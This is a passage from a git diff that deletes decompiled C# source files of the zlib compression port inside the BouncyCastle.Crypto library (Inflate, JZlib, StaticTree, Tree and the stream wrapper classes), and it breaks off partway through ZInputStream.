- } - case 2: - if (z.avail_in == 0) - { - return num; - } - num = f; - z.avail_in--; - z.total_in++; - z.istate.need = ((z.next_in[z.next_in_index++] & 0xFF) << 24) & 0xFF000000u; - z.istate.mode = 3; - goto case 3; - case 3: - if (z.avail_in == 0) - { - return num; - } - num = f; - z.avail_in--; - z.total_in++; - z.istate.need += (long)((ulong)((z.next_in[z.next_in_index++] & 0xFF) << 16) & 0xFF0000uL); - z.istate.mode = 4; - goto case 4; - case 4: - if (z.avail_in == 0) - { - return num; - } - num = f; - z.avail_in--; - z.total_in++; - z.istate.need += (long)((ulong)((z.next_in[z.next_in_index++] & 0xFF) << 8) & 0xFF00uL); - z.istate.mode = 5; - goto case 5; - case 5: - if (z.avail_in == 0) - { - return num; - } - num = f; - z.avail_in--; - z.total_in++; - z.istate.need += (long)((ulong)z.next_in[z.next_in_index++] & 0xFFuL); - z.adler = z.istate.need; - z.istate.mode = 6; - return 2; - case 6: - z.istate.mode = 13; - z.msg = "need dictionary"; - z.istate.marker = 0; - return -2; - case 7: - num = z.istate.blocks.proc(z, num); - switch (num) - { - case -3: - z.istate.mode = 13; - z.istate.marker = 0; - goto end_IL_0031; - case 0: - num = f; - break; - } - if (num != 1) - { - return num; - } - num = f; - z.istate.blocks.reset(z, z.istate.was); - if (z.istate.nowrap != 0) - { - z.istate.mode = 12; - break; - } - z.istate.mode = 8; - goto case 8; - case 8: - if (z.avail_in == 0) - { - return num; - } - num = f; - z.avail_in--; - z.total_in++; - z.istate.need = ((z.next_in[z.next_in_index++] & 0xFF) << 24) & 0xFF000000u; - z.istate.mode = 9; - goto case 9; - case 9: - if (z.avail_in == 0) - { - return num; - } - num = f; - z.avail_in--; - z.total_in++; - z.istate.need += (long)((ulong)((z.next_in[z.next_in_index++] & 0xFF) << 16) & 0xFF0000uL); - z.istate.mode = 10; - goto case 10; - case 10: - if (z.avail_in == 0) - { - return num; - } - num = f; - z.avail_in--; - z.total_in++; - z.istate.need += (long)((ulong)((z.next_in[z.next_in_index++] & 0xFF) << 8) & 0xFF00uL); - z.istate.mode = 11; - goto case 11; - case 11: - if (z.avail_in == 0) - { - return num; - } - num = f; - z.avail_in--; - z.total_in++; - z.istate.need += (long)((ulong)z.next_in[z.next_in_index++] & 0xFFuL); - if ((int)z.istate.was[0] != (int)z.istate.need) - { - z.istate.mode = 13; - z.msg = "incorrect data check"; - z.istate.marker = 5; - break; - } - z.istate.mode = 12; - goto case 12; - case 12: - return 1; - case 13: - return -3; - default: - { - return -2; - } - end_IL_0031: - break; - } - } - } - - internal int inflateSetDictionary(ZStream z, byte[] dictionary, int dictLength) - { - int start = 0; - int num = dictLength; - if (z == null || z.istate == null || z.istate.mode != 6) - { - return -2; - } - if (z._adler.adler32(1L, dictionary, 0, dictLength) != z.adler) - { - return -3; - } - z.adler = z._adler.adler32(0L, null, 0, 0); - if (num >= 1 << z.istate.wbits) - { - num = (1 << z.istate.wbits) - 1; - start = dictLength - num; - } - z.istate.blocks.set_dictionary(dictionary, start, num); - z.istate.mode = 7; - return 0; - } - - internal int inflateSync(ZStream z) - { - if (z == null || z.istate == null) - { - return -2; - } - if (z.istate.mode != 13) - { - z.istate.mode = 13; - z.istate.marker = 0; - } - int num; - if ((num = z.avail_in) == 0) - { - return -5; - } - int num2 = z.next_in_index; - int num3 = z.istate.marker; - while (num != 0 && num3 < 4) - { - num3 = ((z.next_in[num2] != mark[num3]) ? ((z.next_in[num2] == 0) ? (4 - num3) : 0) : (num3 + 1)); - num2++; - num--; - } - z.total_in += num2 - z.next_in_index; - z.next_in_index = num2; - z.avail_in = num; - z.istate.marker = num3; - if (num3 != 4) - { - return -3; - } - long total_in = z.total_in; - long total_out = z.total_out; - inflateReset(z); - z.total_in = total_in; - z.total_out = total_out; - z.istate.mode = 7; - return 0; - } - - internal int inflateSyncPoint(ZStream z) - { - if (z == null || z.istate == null || z.istate.blocks == null) - { - return -2; - } - return z.istate.blocks.sync_point(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/JZlib.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/JZlib.cs deleted file mode 100644 index 2a28f67..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/JZlib.cs +++ /dev/null @@ -1,53 +0,0 @@ -namespace Org.BouncyCastle.Utilities.Zlib; - -public sealed class JZlib -{ - private const string _version = "1.0.7"; - - public const int Z_NO_COMPRESSION = 0; - - public const int Z_BEST_SPEED = 1; - - public const int Z_BEST_COMPRESSION = 9; - - public const int Z_DEFAULT_COMPRESSION = -1; - - public const int Z_FILTERED = 1; - - public const int Z_HUFFMAN_ONLY = 2; - - public const int Z_DEFAULT_STRATEGY = 0; - - public const int Z_NO_FLUSH = 0; - - public const int Z_PARTIAL_FLUSH = 1; - - public const int Z_SYNC_FLUSH = 2; - - public const int Z_FULL_FLUSH = 3; - - public const int Z_FINISH = 4; - - public const int Z_OK = 0; - - public const int Z_STREAM_END = 1; - - public const int Z_NEED_DICT = 2; - - public const int Z_ERRNO = -1; - - public const int Z_STREAM_ERROR = -2; - - public const int Z_DATA_ERROR = -3; - - public const int Z_MEM_ERROR = -4; - - public const int Z_BUF_ERROR = -5; - - public const int Z_VERSION_ERROR = -6; - - public static string version() - { - return "1.0.7"; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/StaticTree.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/StaticTree.cs deleted file mode 100644 index bc200cd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/StaticTree.cs +++ /dev/null @@ -1,115 +0,0 @@ -namespace Org.BouncyCastle.Utilities.Zlib; - -internal sealed class StaticTree -{ - private const int MAX_BITS = 15; - - private const int BL_CODES = 19; - - private const int D_CODES = 30; - - private const int LITERALS = 256; - - private const int LENGTH_CODES = 29; - - private const int L_CODES = 286; - - internal const int MAX_BL_BITS = 7; - - internal static readonly short[] static_ltree = new short[576] - { - 12, 8, 140, 8, 76, 8, 204, 8, 44, 8, - 172, 8, 108, 8, 236, 8, 28, 8, 156, 8, - 92, 8, 220, 8, 60, 8, 188, 8, 124, 8, - 252, 8, 2, 8, 130, 8, 66, 8, 194, 8, - 34, 8, 162, 8, 98, 8, 226, 8, 18, 8, - 146, 8, 82, 8, 210, 8, 50, 8, 178, 8, - 114, 8, 242, 8, 10, 8, 138, 8, 74, 8, - 202, 8, 42, 8, 170, 8, 106, 8, 234, 8, - 26, 8, 154, 8, 90, 8, 218, 8, 58, 8, - 186, 8, 122, 8, 250, 8, 6, 8, 134, 8, - 70, 8, 198, 8, 38, 8, 166, 8, 102, 8, - 230, 8, 22, 8, 150, 8, 86, 8, 214, 8, - 54, 8, 182, 8, 118, 8, 246, 8, 14, 8, - 142, 8, 78, 8, 206, 8, 46, 8, 174, 8, - 110, 8, 238, 8, 30, 8, 158, 8, 94, 8, - 222, 8, 62, 8, 190, 8, 126, 8, 254, 8, - 1, 8, 129, 8, 65, 8, 193, 8, 33, 8, - 161, 8, 97, 8, 225, 8, 17, 8, 145, 8, - 81, 8, 209, 8, 49, 8, 177, 8, 113, 8, - 241, 8, 9, 8, 137, 8, 73, 8, 201, 8, - 41, 8, 169, 8, 105, 8, 233, 8, 25, 8, - 153, 8, 89, 8, 217, 8, 57, 8, 185, 8, - 121, 8, 249, 8, 5, 8, 133, 8, 69, 8, - 197, 8, 37, 8, 165, 8, 101, 8, 229, 8, - 21, 8, 149, 8, 85, 8, 213, 8, 53, 8, - 181, 8, 117, 8, 245, 8, 13, 8, 141, 8, - 77, 8, 205, 8, 45, 8, 173, 8, 109, 8, - 237, 8, 29, 8, 157, 8, 93, 8, 221, 8, - 61, 8, 189, 8, 125, 8, 253, 8, 19, 9, - 275, 9, 147, 9, 403, 9, 83, 9, 339, 9, - 211, 9, 467, 9, 51, 9, 307, 9, 179, 9, - 435, 9, 115, 9, 371, 9, 243, 9, 499, 9, - 11, 9, 267, 9, 139, 9, 395, 9, 75, 9, - 331, 9, 203, 9, 459, 9, 43, 9, 299, 9, - 171, 9, 427, 9, 107, 9, 363, 9, 235, 9, - 491, 9, 27, 9, 283, 9, 155, 9, 411, 9, - 91, 9, 347, 9, 219, 9, 475, 9, 59, 9, - 315, 9, 187, 9, 443, 9, 123, 9, 379, 9, - 251, 9, 507, 9, 7, 9, 263, 9, 135, 9, - 391, 9, 71, 9, 327, 9, 199, 9, 455, 9, - 39, 9, 295, 9, 167, 9, 423, 9, 103, 9, - 359, 9, 231, 9, 487, 9, 23, 9, 279, 9, - 151, 9, 407, 9, 87, 9, 343, 9, 215, 9, - 471, 9, 55, 9, 311, 9, 183, 9, 439, 9, - 119, 9, 375, 9, 247, 9, 503, 9, 15, 9, - 271, 9, 143, 9, 399, 9, 79, 9, 335, 9, - 207, 9, 463, 9, 47, 9, 303, 9, 175, 9, - 431, 9, 111, 9, 367, 9, 239, 9, 495, 9, - 31, 9, 287, 9, 159, 9, 415, 9, 95, 9, - 351, 9, 223, 9, 479, 9, 63, 9, 319, 9, - 191, 9, 447, 9, 127, 9, 383, 9, 255, 9, - 511, 9, 0, 7, 64, 7, 32, 7, 96, 7, - 16, 7, 80, 7, 48, 7, 112, 7, 8, 7, - 72, 7, 40, 7, 104, 7, 24, 7, 88, 7, - 56, 7, 120, 7, 4, 7, 68, 7, 36, 7, - 100, 7, 20, 7, 84, 7, 52, 7, 116, 7, - 3, 8, 131, 8, 67, 8, 195, 8, 35, 8, - 163, 8, 99, 8, 227, 8 - }; - - internal static readonly short[] static_dtree = new short[60] - { - 0, 5, 16, 5, 8, 5, 24, 5, 4, 5, - 20, 5, 12, 5, 28, 5, 2, 5, 18, 5, - 10, 5, 26, 5, 6, 5, 22, 5, 14, 5, - 30, 5, 1, 5, 17, 5, 9, 5, 25, 5, - 5, 5, 21, 5, 13, 5, 29, 5, 3, 5, - 19, 5, 11, 5, 27, 5, 7, 5, 23, 5 - }; - - internal static readonly StaticTree static_l_desc = new StaticTree(static_ltree, Tree.extra_lbits, 257, 286, 15); - - internal static readonly StaticTree static_d_desc = new StaticTree(static_dtree, Tree.extra_dbits, 0, 30, 15); - - internal static readonly StaticTree static_bl_desc = new StaticTree(null, Tree.extra_blbits, 0, 19, 7); - - internal short[] static_tree; - - internal int[] extra_bits; - - internal int extra_base; - - internal int elems; - - internal int max_length; - - internal StaticTree(short[] static_tree, int[] extra_bits, int extra_base, int elems, int max_length) - { - this.static_tree = static_tree; - this.extra_bits = extra_bits; - this.extra_base = extra_base; - this.elems = elems; - this.max_length = max_length; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/Tree.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/Tree.cs deleted file mode 100644 index 451a2b4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/Tree.cs +++ /dev/null @@ -1,359 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities.Zlib; - -internal sealed class Tree -{ - private const int MAX_BITS = 15; - - private const int BL_CODES = 19; - - private const int D_CODES = 30; - - private const int LITERALS = 256; - - private const int LENGTH_CODES = 29; - - private const int L_CODES = 286; - - private const int HEAP_SIZE = 573; - - internal const int MAX_BL_BITS = 7; - - internal const int END_BLOCK = 256; - - internal const int REP_3_6 = 16; - - internal const int REPZ_3_10 = 17; - - internal const int REPZ_11_138 = 18; - - internal const int Buf_size = 16; - - internal const int DIST_CODE_LEN = 512; - - internal static readonly int[] extra_lbits = new int[29] - { - 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, - 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, - 4, 4, 4, 4, 5, 5, 5, 5, 0 - }; - - internal static readonly int[] extra_dbits = new int[30] - { - 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, - 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, - 9, 9, 10, 10, 11, 11, 12, 12, 13, 13 - }; - - internal static readonly int[] extra_blbits = new int[19] - { - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 2, 3, 7 - }; - - internal static readonly byte[] bl_order = new byte[19] - { - 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, - 11, 4, 12, 3, 13, 2, 14, 1, 15 - }; - - internal static readonly byte[] _dist_code = new byte[512] - { - 0, 1, 2, 3, 4, 4, 5, 5, 6, 6, - 6, 6, 7, 7, 7, 7, 8, 8, 8, 8, - 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, - 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, - 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, - 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, - 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, - 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, - 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, - 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, - 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, - 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, - 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, - 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, - 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, - 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, - 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, - 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, - 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, - 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, - 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, - 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, - 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, - 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, - 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, - 15, 15, 15, 15, 15, 15, 0, 0, 16, 17, - 18, 18, 19, 19, 20, 20, 20, 20, 21, 21, - 21, 21, 22, 22, 22, 22, 22, 22, 22, 22, - 23, 23, 23, 23, 23, 23, 23, 23, 24, 24, - 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, - 24, 24, 24, 24, 25, 25, 25, 25, 25, 25, - 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, - 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, - 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, - 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, - 26, 26, 27, 27, 27, 27, 27, 27, 27, 27, - 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, - 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, - 27, 27, 27, 27, 28, 28, 28, 28, 28, 28, - 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, - 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, - 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, - 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, - 28, 28, 28, 28, 28, 28, 28, 28, 28, 28, - 28, 28, 28, 28, 28, 28, 28, 28, 29, 29, - 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, - 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, - 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, - 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, - 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, - 29, 29, 29, 29, 29, 29, 29, 29, 29, 29, - 29, 29 - }; - - internal static readonly byte[] _length_code = new byte[256] - { - 0, 1, 2, 3, 4, 5, 6, 7, 8, 8, - 9, 9, 10, 10, 11, 11, 12, 12, 12, 12, - 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, - 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, - 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, - 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, - 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, - 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, - 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, - 21, 21, 21, 21, 21, 21, 22, 22, 22, 22, - 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, - 22, 22, 23, 23, 23, 23, 23, 23, 23, 23, - 23, 23, 23, 23, 23, 23, 23, 23, 24, 24, - 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, - 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, - 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, - 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, - 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, - 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, - 25, 25, 26, 26, 26, 26, 26, 26, 26, 26, - 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, - 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, - 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, - 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, - 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, - 27, 27, 27, 27, 27, 28 - }; - - internal static readonly int[] base_length = new int[29] - { - 0, 1, 2, 3, 4, 5, 6, 7, 8, 10, - 12, 14, 16, 20, 24, 28, 32, 40, 48, 56, - 64, 80, 96, 112, 128, 160, 192, 224, 0 - }; - - internal static readonly int[] base_dist = new int[30] - { - 0, 1, 2, 3, 4, 6, 8, 12, 16, 24, - 32, 48, 64, 96, 128, 192, 256, 384, 512, 768, - 1024, 1536, 2048, 3072, 4096, 6144, 8192, 12288, 16384, 24576 - }; - - internal short[] dyn_tree; - - internal int max_code; - - internal StaticTree stat_desc; - - internal static int d_code(int dist) - { - if (dist >= 256) - { - return _dist_code[256 + (dist >> 7)]; - } - return _dist_code[dist]; - } - - internal void gen_bitlen(Deflate s) - { - short[] array = dyn_tree; - short[] static_tree = stat_desc.static_tree; - int[] extra_bits = stat_desc.extra_bits; - int extra_base = stat_desc.extra_base; - int max_length = stat_desc.max_length; - int num = 0; - for (int i = 0; i <= 15; i++) - { - s.bl_count[i] = 0; - } - array[s.heap[s.heap_max] * 2 + 1] = 0; - int j; - for (j = s.heap_max + 1; j < 573; j++) - { - int num2 = s.heap[j]; - int i = array[array[num2 * 2 + 1] * 2 + 1] + 1; - if (i > max_length) - { - i = max_length; - num++; - } - array[num2 * 2 + 1] = (short)i; - if (num2 <= max_code) - { - short[] bl_count; - short[] array2 = (bl_count = s.bl_count); - int num3 = i; - nint num4 = num3; - array2[num3] = (short)(bl_count[num4] + 1); - int num5 = 0; - if (num2 >= extra_base) - { - num5 = extra_bits[num2 - extra_base]; - } - short num6 = array[num2 * 2]; - s.opt_len += num6 * (i + num5); - if (static_tree != null) - { - s.static_len += num6 * (static_tree[num2 * 2 + 1] + num5); - } - } - } - if (num == 0) - { - return; - } - do - { - int i = max_length - 1; - while (s.bl_count[i] == 0) - { - i--; - } - short[] bl_count; - short[] array3 = (bl_count = s.bl_count); - int num7 = i; - nint num4 = num7; - array3[num7] = (short)(bl_count[num4] - 1); - short[] array4 = (bl_count = s.bl_count); - int num8 = i + 1; - num4 = num8; - array4[num8] = (short)(bl_count[num4] + 2); - short[] array5 = (bl_count = s.bl_count); - num4 = max_length; - array5[max_length] = (short)(bl_count[num4] - 1); - num -= 2; - } - while (num > 0); - for (int i = max_length; i != 0; i--) - { - int num2 = s.bl_count[i]; - while (num2 != 0) - { - int num9 = s.heap[--j]; - if (num9 <= max_code) - { - if (array[num9 * 2 + 1] != i) - { - s.opt_len += (int)(((long)i - (long)array[num9 * 2 + 1]) * array[num9 * 2]); - array[num9 * 2 + 1] = (short)i; - } - num2--; - } - } - } - } - - internal void build_tree(Deflate s) - { - short[] array = dyn_tree; - short[] static_tree = stat_desc.static_tree; - int elems = stat_desc.elems; - int num = -1; - s.heap_len = 0; - s.heap_max = 573; - for (int i = 0; i < elems; i++) - { - if (array[i * 2] != 0) - { - num = (s.heap[++s.heap_len] = i); - s.depth[i] = 0; - } - else - { - array[i * 2 + 1] = 0; - } - } - int num2; - while (s.heap_len < 2) - { - num2 = (s.heap[++s.heap_len] = ((num < 2) ? (++num) : 0)); - array[num2 * 2] = 1; - s.depth[num2] = 0; - s.opt_len--; - if (static_tree != null) - { - s.static_len -= static_tree[num2 * 2 + 1]; - } - } - max_code = num; - for (int i = s.heap_len / 2; i >= 1; i--) - { - s.pqdownheap(array, i); - } - num2 = elems; - do - { - int i = s.heap[1]; - s.heap[1] = s.heap[s.heap_len--]; - s.pqdownheap(array, 1); - int num3 = s.heap[1]; - s.heap[--s.heap_max] = i; - s.heap[--s.heap_max] = num3; - array[num2 * 2] = (short)(array[i * 2] + array[num3 * 2]); - s.depth[num2] = (byte)(System.Math.Max(s.depth[i], s.depth[num3]) + 1); - array[i * 2 + 1] = (array[num3 * 2 + 1] = (short)num2); - s.heap[1] = num2++; - s.pqdownheap(array, 1); - } - while (s.heap_len >= 2); - s.heap[--s.heap_max] = s.heap[1]; - gen_bitlen(s); - gen_codes(array, num, s.bl_count); - } - - internal static void gen_codes(short[] tree, int max_code, short[] bl_count) - { - short[] array = new short[16]; - short num = 0; - for (int i = 1; i <= 15; i++) - { - num = (array[i] = (short)(num + bl_count[i - 1] << 1)); - } - for (int j = 0; j <= max_code; j++) - { - int num2 = tree[j * 2 + 1]; - if (num2 != 0) - { - int num3 = j * 2; - short[] array3; - short[] array2 = (array3 = array); - nint num4 = num2; - short code; - array2[num2] = (short)((code = array3[num4]) + 1); - tree[num3] = (short)bi_reverse(code, num2); - } - } - } - - internal static int bi_reverse(int code, int len) - { - int num = 0; - do - { - num |= code & 1; - code >>= 1; - num <<= 1; - } - while (--len > 0); - return num >> 1; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZDeflaterOutputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZDeflaterOutputStream.cs deleted file mode 100644 index 92a41da..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZDeflaterOutputStream.cs +++ /dev/null @@ -1,155 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Utilities.Zlib; - -[Obsolete("Use 'ZOutputStream' instead")] -public class ZDeflaterOutputStream : Stream -{ - private const int BUFSIZE = 4192; - - protected ZStream z = new ZStream(); - - protected int flushLevel = 0; - - protected byte[] buf = new byte[4192]; - - private byte[] buf1 = new byte[1]; - - protected Stream outp; - - public override bool CanRead => false; - - public override bool CanSeek => false; - - public override bool CanWrite => true; - - public override long Length => 0L; - - public override long Position - { - get - { - return 0L; - } - set - { - } - } - - public ZDeflaterOutputStream(Stream outp) - : this(outp, 6, nowrap: false) - { - } - - public ZDeflaterOutputStream(Stream outp, int level) - : this(outp, level, nowrap: false) - { - } - - public ZDeflaterOutputStream(Stream outp, int level, bool nowrap) - { - this.outp = outp; - z.deflateInit(level, nowrap); - } - - public override void Write(byte[] b, int off, int len) - { - if (len == 0) - { - return; - } - z.next_in = b; - z.next_in_index = off; - z.avail_in = len; - do - { - z.next_out = buf; - z.next_out_index = 0; - z.avail_out = 4192; - if (z.deflate(flushLevel) != 0) - { - throw new IOException("deflating: " + z.msg); - } - if (z.avail_out < 4192) - { - outp.Write(buf, 0, 4192 - z.avail_out); - } - } - while (z.avail_in > 0 || z.avail_out == 0); - } - - public override long Seek(long offset, SeekOrigin origin) - { - return 0L; - } - - public override void SetLength(long value) - { - } - - public override int Read(byte[] buffer, int offset, int count) - { - return 0; - } - - public override void Flush() - { - outp.Flush(); - } - - public override void WriteByte(byte b) - { - buf1[0] = b; - Write(buf1, 0, 1); - } - - public void Finish() - { - do - { - z.next_out = buf; - z.next_out_index = 0; - z.avail_out = 4192; - int num = z.deflate(4); - if (num != 1 && num != 0) - { - throw new IOException("deflating: " + z.msg); - } - if (4192 - z.avail_out > 0) - { - outp.Write(buf, 0, 4192 - z.avail_out); - } - } - while (z.avail_in > 0 || z.avail_out == 0); - Flush(); - } - - public void End() - { - if (z != null) - { - z.deflateEnd(); - z.free(); - z = null; - } - } - - public override void Close() - { - try - { - Finish(); - } - catch (IOException) - { - } - finally - { - End(); - Platform.Dispose(outp); - outp = null; - } - base.Close(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZInflaterInputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZInflaterInputStream.cs deleted file mode 100644 index 8f344aa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZInflaterInputStream.cs +++ /dev/null @@ -1,132 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Utilities.Zlib; - -[Obsolete("Use 'ZInputStream' instead")] -public class ZInflaterInputStream : Stream -{ - private const int BUFSIZE = 4192; - - protected ZStream z = new ZStream(); - - protected int flushLevel = 0; - - protected byte[] buf = new byte[4192]; - - private byte[] buf1 = new byte[1]; - - protected Stream inp = null; - - private bool nomoreinput = false; - - public override bool CanRead => true; - - public override bool CanSeek => false; - - public override bool CanWrite => false; - - public override long Length => 0L; - - public override long Position - { - get - { - return 0L; - } - set - { - } - } - - public ZInflaterInputStream(Stream inp) - : this(inp, nowrap: false) - { - } - - public ZInflaterInputStream(Stream inp, bool nowrap) - { - this.inp = inp; - z.inflateInit(nowrap); - z.next_in = buf; - z.next_in_index = 0; - z.avail_in = 0; - } - - public override void Write(byte[] b, int off, int len) - { - } - - public override long Seek(long offset, SeekOrigin origin) - { - return 0L; - } - - public override void SetLength(long value) - { - } - - public override int Read(byte[] b, int off, int len) - { - if (len == 0) - { - return 0; - } - z.next_out = b; - z.next_out_index = off; - z.avail_out = len; - int num; - do - { - if (z.avail_in == 0 && !nomoreinput) - { - z.next_in_index = 0; - z.avail_in = inp.Read(buf, 0, 4192); - if (z.avail_in <= 0) - { - z.avail_in = 0; - nomoreinput = true; - } - } - num = z.inflate(flushLevel); - if (nomoreinput && num == -5) - { - return 0; - } - if (num != 0 && num != 1) - { - throw new IOException("inflating: " + z.msg); - } - if ((nomoreinput || num == 1) && z.avail_out == len) - { - return 0; - } - } - while (z.avail_out == len && num == 0); - return len - z.avail_out; - } - - public override void Flush() - { - inp.Flush(); - } - - public override void WriteByte(byte b) - { - } - - public override void Close() - { - Platform.Dispose(inp); - base.Close(); - } - - public override int ReadByte() - { - if (Read(buf1, 0, 1) <= 0) - { - return -1; - } - return buf1[0] & 0xFF; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZInputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZInputStream.cs deleted file mode 100644 index 2212fff..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/ZInputStream.cs +++ /dev/null @@ -1,196 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Utilities.Zlib; - -public class ZInputStream : Stream -{ - private const int BufferSize = 512; - - protected ZStream z; - - protected int flushLevel = 0; - - protected byte[] buf = new byte[512]; - - protected byte[] buf1 = new byte[1]; - - protected bool compress; - - protected Stream input; - - protected bool closed; - - private bool nomoreinput = false; - - public sealed override bool CanRead => !closed; - - public sealed override bool CanSeek => false; - - public sealed override bool CanWrite => false; - - public virtual int FlushMode - { - get - { - return flushLevel; - } - set - { - flushLevel = value; - } - } - - public sealed override long Length - { - get - { - throw new NotSupportedException(); - } - } - - public sealed override long Position - { - get - { - throw new NotSupportedException(); - } - set - { - throw new NotSupportedException(); - } - } - - public virtual long TotalIn => z.total_in; - - public virtual long TotalOut => z.total_out; - - private static ZStream GetDefaultZStream(bool nowrap) - { - ZStream zStream = new ZStream(); - zStream.inflateInit(nowrap); - return zStream; - } - - public ZInputStream(Stream input) - : this(input, nowrap: false) - { - } - - public ZInputStream(Stream input, bool nowrap) - : this(input, GetDefaultZStream(nowrap)) - { - } - - public ZInputStream(Stream input, ZStream z) - { - if (z == null) - { - z = new ZStream(); - } - if (z.istate == null && z.dstate == null) - { - z.inflateInit(); - } - this.input = input; - compress = z.istate == null; - this.z = z; - this.z.next_in = buf; - this.z.next_in_index = 0; - this.z.avail_in = 0; - } - - public ZInputStream(Stream input, int level) - : this(input, level, nowrap: false) - { - } - - public ZInputStream(Stream input, int level, bool nowrap) - { - this.input = input; - compress = true; - z = new ZStream(); - z.deflateInit(level, nowrap); - z.next_in = buf; - z.next_in_index = 0; - z.avail_in = 0; - } - - public override void Close() - { - if (!closed) - { - closed = true; - Platform.Dispose(input); - base.Close(); - } - } - - public sealed override void Flush() - { - } - - public override int Read(byte[] b, int off, int len) - { - if (len == 0) - { - return 0; - } - z.next_out = b; - z.next_out_index = off; - z.avail_out = len; - int num; - do - { - if (z.avail_in == 0 && !nomoreinput) - { - z.next_in_index = 0; - z.avail_in = input.Read(buf, 0, buf.Length); - if (z.avail_in <= 0) - { - z.avail_in = 0; - nomoreinput = true; - } - } - num = (compress ? z.deflate(flushLevel) : z.inflate(flushLevel)); - if (nomoreinput && num == -5) - { - return 0; - } - if (num != 0 && num != 1) - { - throw new IOException((compress ? "de" : "in") + "flating: " + z.msg); - } - if ((nomoreinput || num == 1) && z.avail_out == len) - { - return 0; - } - } - while (z.avail_out == len && num == 0); - return len - z.avail_out; - } - - public override int ReadByte() - { - if (Read(buf1, 0, 1) <= 0) - { - return -1; - } 